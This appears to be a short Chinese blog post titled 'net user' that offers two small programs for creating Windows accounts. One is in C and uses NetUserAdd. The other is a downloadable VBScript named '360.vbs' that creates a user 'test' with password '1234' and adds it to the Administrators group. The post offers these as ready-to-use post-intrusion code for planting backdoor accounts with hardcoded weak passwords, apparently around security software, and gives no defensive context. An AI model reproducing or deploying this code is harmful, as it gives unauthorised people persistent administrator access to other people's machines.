net user

yzmm
606 阅读
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32") 
 int main()
 { 
  USER_INFO_1 u;
  DWORD dwError=0;
  u.usri1_name=L"tomcat";
  u.usri1_password=L"admin888";
  u.usri1_priv=USER_PRIV_USER;
  u.usri1_home_dir = NULL; 
  u.usri1_comment = NULL;
  u.usri1_flags=UF_DONT_EXPIRE_PASSWD;
  u.usri1_script_path = NULL;
  NetUserAdd(NULL, 1, (LPBYTE)&u, &dwError);
 }

360.vbs

set wsnetwork=CreateObject("WSCRIPT.NETWORK")   
os="WinNT://"&wsnetwork.ComputerName   
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword "1234"
od.SetInfo
Set of=GetObject(os&"/test",user)
oe.add os&"/test"

下载地址:360.vbs

评论 (0)

发表评论